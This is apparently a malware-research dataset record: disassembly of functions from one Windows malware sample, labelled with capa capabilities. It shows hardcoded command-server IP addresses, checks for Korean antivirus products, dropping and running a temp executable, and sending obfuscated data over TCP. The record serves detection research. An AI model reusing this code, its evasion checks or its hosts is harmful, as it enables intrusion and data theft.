joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x416de0
push 0x67
push esi
call edi
push 0x64
push 0x416d18
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401160
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402a60
call fcn.00402090
test eax, eax
je 0x40106c
call fcn.004032a0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012a0
test eax, eax
jne 0x40108b
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.004047f8
mov esp, ebp
pop ebp
ret 0x10
test byte [0x417468], 7
je 0x401099
call fcn.00401820
mov eax, dword [0x417740]
test eax, eax
je 0x4010c6
cmp word [0x417744], 0
jbe 0x4010c6
push eax
mov esi, str.218.54.31.226
call fcn.00403a50
mov ax, word [0x417744]
add esp, 4
mov word [0x415f2c], ax
xor eax, eax
jmp 0x4010d0
movzx ecx, word [eax + str.tmp5fdr.exe]
mov word [eax + 0x417c78], cx
add eax, 2
test cx, cx
jne 0x4010d0
call fcn.00403ac0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00408150
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x417c78
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404807
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x413450
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012a0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [ebp - 0x46]
push ecx
mov word [ebp - 0x48], ax
call fcn.00408150
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.00403550
xor eax, eax
jmp 0x4012e0
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416ea8], cx
add eax, 2
test cx, cx
jne 0x4012e0
push 0x416ea8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401323
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
push 0x416ea8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401311
lea edx, [ebp - 0x1d8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x417878
call fcn.00401d00
test eax, eax
jne 0x4013f0
lea esp, [esp]
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x417a20], cx
add eax, 2
test cx, cx
jne 0x401360
push str.112.175.88.207
push 0x40
push 0x41787c
call fcn.0040487c
add esp, 0xc
push str.AAAA
push 0x10
push 0x4178fe
call fcn.0040487c
add esp, 0xc
push 0x41348c
push 0x40
push 0x41791e
call fcn.0040487c
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x4178fc], ax
mov word [0x41799e], cx
xor eax, eax
jmp 0x4013d0
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x417a00], cx
add eax, 2
test cx, cx
jne 0x4013d0
mov dword [0x417a40], 5
call fcn.004035f0
push 0x4134bc
call fcn.004036a0
add esp, 4
mov dword [0x417740], eax
call fcn.00401440
push 0
push 0
push 0
push 0x401c20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x412]
push ecx
xor ebx, ebx
mov word [ebp - 0x414], ax
call fcn.00408150
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x20a]
push eax
mov word [ebp - 0x20c], dx
call fcn.00408150
add esp, 0x18
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
xor edx, edx
push 0x413564
push ecx
mov word [ebp - 0x410], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401718
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push 0x4135b8
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401746
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push 0x4135c4
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401774
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push 0x41361c
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017a5
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push 0x41367c
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017d6
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401807
or ebx, 0x400
mov ecx, dword [ebp - 4]
pop edi
mov eax, ebx
pop esi
xor ecx, ebp
or eax, 0x2000000
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret
Function at 0x401ae0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push ebx
push edi
call fcn.00403b70
add esp, 8
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x401c06
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00408150
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.00408150
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x416ef0
lea ecx, [ecx]
cmp word [esi], 0
je 0x401b96
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040487c
add esp, 0xc
push esi
lea ecx, [ebp - 0x418]
push 0x104
push ecx
call fcn.00404807
add esp, 0xc
add esi, 0x118
cmp esi, 0x417468
jl 0x401b60
mov esi, 0x416ef0
lea esp, [esp]
cmp word [esi], 0
je 0x401bc2
push ebx
push edi
mov ecx, esi
call fcn.00404470
add esp, 8
add esi, 0x118
cmp esi, 0x417468
jl 0x401bb0
push 0x417c78
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404807
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, 2
je 0x401c06
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004047f8
mov esp, ebp
pop ebp
ret

Function at 0x401db0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
test edi, edi
je 0x401ece
test esi, esi
je 0x401ece
mov eax, esi
lea edx, [eax + 2]
jmp 0x401de0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401de0
sub eax, edx
sar eax, 1
je 0x401ece
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00408150
add esp, 0xc
cmp dword [ebp + 8], ebx
jne 0x401e4e
cmp dword [0x415f10], 3
jne 0x401e4e
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41326c
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
call fcn.00404807
add esp, 0xc
jmp 0x401e60
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404807
push 0x413270
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
mov dword [ebp - 0x210], ebx
call fcn.00404b29
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x401ece
push eax
push 1
push 0x200
push edi
call fcn.00404dba
mov eax, dword [ebp - 0x210]
push eax
call fcn.00404e44
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret
Function at 0x401fa0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0x504d534d
xor eax, eax
mov edi, edi
mov cl, byte [esi + eax]
not cl
mov byte [esi + eax], cl
inc eax
cmp eax, 0x200
jb 0x401fc0
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x212]
push eax
mov word [ebp - 0x214], dx
call fcn.00408150
add esp, 0xc
mov dword [ebp - 0x218], 0
test esi, esi
je 0x402079
lea ecx, [ebp - 0x214]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea edx, [ebp - 0x214]
push 0x104
push edx
call fcn.00404807
push 0x4132ac
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x218]
push ecx
call fcn.00404b29
mov eax, dword [ebp - 0x218]
add esp, 0x18
test eax, eax
je 0x402066
push eax
push 1
push 0x200
push esi
call fcn.0040500f
mov edx, dword [ebp - 0x218]
push edx
call fcn.00404e44
add esp, 0x14
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor ecx, ebp
xor eax, eax
call fcn.004047f8
mov esp, ebp
pop ebp
ret
Function at 0x4028e0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00408150
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [ebp - 0x410]
push esi
push edx
call fcn.00408150
add esp, 0xc
lea ebx, [ebp - 0x410]
call fcn.00401ee0
test eax, eax
je 0x402a3f
xor eax, eax
nop
movzx ecx, word [eax + 0x413400]
mov word [eax + 0x417570], cx
add eax, 2
test cx, cx
jne 0x402940
xor eax, eax
jmp 0x402960
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
test cx, cx
jne 0x402960
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
test cx, cx
jne 0x402980
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov cx, word [ebp - 0x2ea]
mov word [0x41746c], ax
mov word [0x4175f0], cx
mov dword [0x4175f4], 5
je 0x4029d9
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402a04
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4138ac
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call fcn.00404807
add esp, 0xc
push str.golfset.ini
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404807
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret

Function at 0x402a60
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x415f10], 0
call fcn.00408150
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402b17
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402ae1
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402ac9
cmp eax, 1
jne 0x402b17
mov dword [0x415f10], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402b17
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x402b08
mov dword [0x415f10], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x402b17
mov dword [0x415f10], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
Function at 0x402b30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00408150
add esp, 0xc
cmp dword [0x415f10], 3
jne 0x402b97
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4138ac
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404807
add esp, 0xc
jmp 0x402ba9
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [ebp - 0x20c]
push edx
push 0x4138b0
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.004047f8
mov esp, ebp
pop ebp
ret

Function at 0x402c90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, eax
cmp edi, 0xffffffff
je 0x402dba
push 0x400
call fcn.0040533d
add esp, 4
push 0x400
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408150
add esp, 0xc
call fcn.00402e70
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], ecx
shld ecx, eax, 9
shl eax, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 4]
push ecx
push 0x400
push ebx
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x402db1
cmp dword [ebx + 4], 0x5042475f
jne 0x402d54
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402d20
sub eax, edx
sar eax, 1
je 0x402d54
mov edi, dword [ebp + 8]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.004053d1
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x400
push ebx
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x3c00
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x402db1
cmp dword [ebx + 4], 0x5042475f
jne 0x402db1
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402da0
sub eax, edx
sar eax, 1
jne 0x402d31
push ebx
call fcn.004053d1
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402dd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov dword [ebp - 0x214], 0
mov word [ebp - 0x210], ax
call fcn.00408150
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
lea ebx, [ebp - 0x214]
call fcn.00402f60
mov ebx, dword [ebp - 0x214]
add esp, 4
call fcn.00403050
cmp eax, 0xffffffff
jne 0x402e58
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
push esi
call fcn.00402c90
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret

Function at 0x402e70
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x207]
push ebx
push eax
xor esi, esi
mov byte [ebp - 0x208], bl
call fcn.00408150
add esp, 0xc
cmp edi, 0xffffffff
je 0x402f3c
xor eax, eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x210], eax
push 0x200
lea eax, [ebp - 0x208]
push eax
push edi
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402f3c
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
cmp eax, ebx
jbe 0x402f18
mov esi, eax
mov eax, dword [ebp - 0x2e]
add eax, dword [ebp - 0x32]
cmp eax, esi
jbe 0x402f24
mov esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
jbe 0x402f30
mov esi, eax
mov eax, dword [ebp - 0x12]
add eax, dword [ebp - 0xe]
cmp eax, esi
jbe 0x402f3c
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret
Function at 0x403180
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x413924
mov edi, ecx
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], 0
call fcn.00404b29
add esp, 0xc
test eax, eax
je 0x4031ad
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push ebx
push esi
push 2
push 0
push edx
call fcn.00405495
mov eax, dword [ebp - 4]
push eax
call fcn.004056a5
mov ecx, dword [ebp - 4]
push 0
push 0
push ecx
mov esi, eax
call fcn.00405495
lea eax, [esi + edi]
push eax
mov dword [ebp - 0xc], eax
call fcn.0040533d
mov edx, dword [ebp - 4]
push edx
push 1
mov ebx, eax
push esi
push ebx
call fcn.00404dba
mov eax, dword [ebp - 4]
push eax
call fcn.00404e44
push edi
add esi, ebx
push 0
push esi
mov dword [ebp - 8], esi
call fcn.00408150
mov eax, edi
cdq
and edx, 3
lea esi, [edx + eax]
add esp, 0x40
sar esi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040570a
add esp, 4
xor edi, edi
test esi, esi
jle 0x403240
lea ebx, [ebx]
call fcn.0040571c
mov ecx, dword [ebp - 8]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, esi
jl 0x403230
mov edx, dword [ebp + 8]
push 0x41392c
push edx
lea eax, [ebp - 4]
push eax
call fcn.00404b29
add esp, 0xc
test eax, eax
je 0x403262
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
push ecx
push 1
push edx
push ebx
call fcn.0040500f
mov eax, dword [ebp - 4]
push eax
call fcn.00404e44
add esp, 0x14
test ebx, ebx
je 0x40328b
push ebx
call fcn.004053d1
add esp, 4
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x403840
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x3a98
lea ecx, [ecx]
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4038cf
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0x10
push 2
call ebx
mov edi, eax
cmp edi, 0x6f
jne 0x40389f
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc dword [ebp - 4]
cmp edi, 0x6f
jne 0x4038d9
cmp dword [ebp - 4], 3
jb 0x403860
mov edi, 0xfffffffd
test esi, esi
je 0x4038c6
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x4038ad
mov eax, esi
test esi, esi
je 0x403943
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x4038f3
cmp dword [eax + 0x1c], 0
jne 0x4038fe
mov eax, dword [eax + 8]
test eax, eax
jne 0x4038e8
xor edi, edi
jmp 0x4038b2
mov edx, dword [eax + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x4038b2
Function at 0x403db0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x808]
cmp eax, ebx
je 0x403dd5
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x9a8]
push ecx
push 0x101
mov dword [ebp - 0x9ac], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403e07
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403df6
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403e47
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [ebp - 0x9ac]
push edx
mov dword [ebp - 0x9ac], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403e9d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [ebp - 0x814], edx
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x818]
mov word [ebp - 0x816], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403e9d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004047f8
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x403eac
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.004047f8
mov esp, ebp
pop ebp
ret

Function at 0x404020
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x40409c
cmp edi, eax
jle 0x404046
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x404036
lea ebx, [edi + 7]
push ebx
call fcn.004058be
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x415f18]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.00408cc0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40409f
cmp eax, ebx
jne 0x40409f
mov dword [ebp - 4], 1
jmp 0x40409f
mov esi, dword [ebp + 8]
test esi, esi
je 0x4040ac
push esi
call fcn.00405c97
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret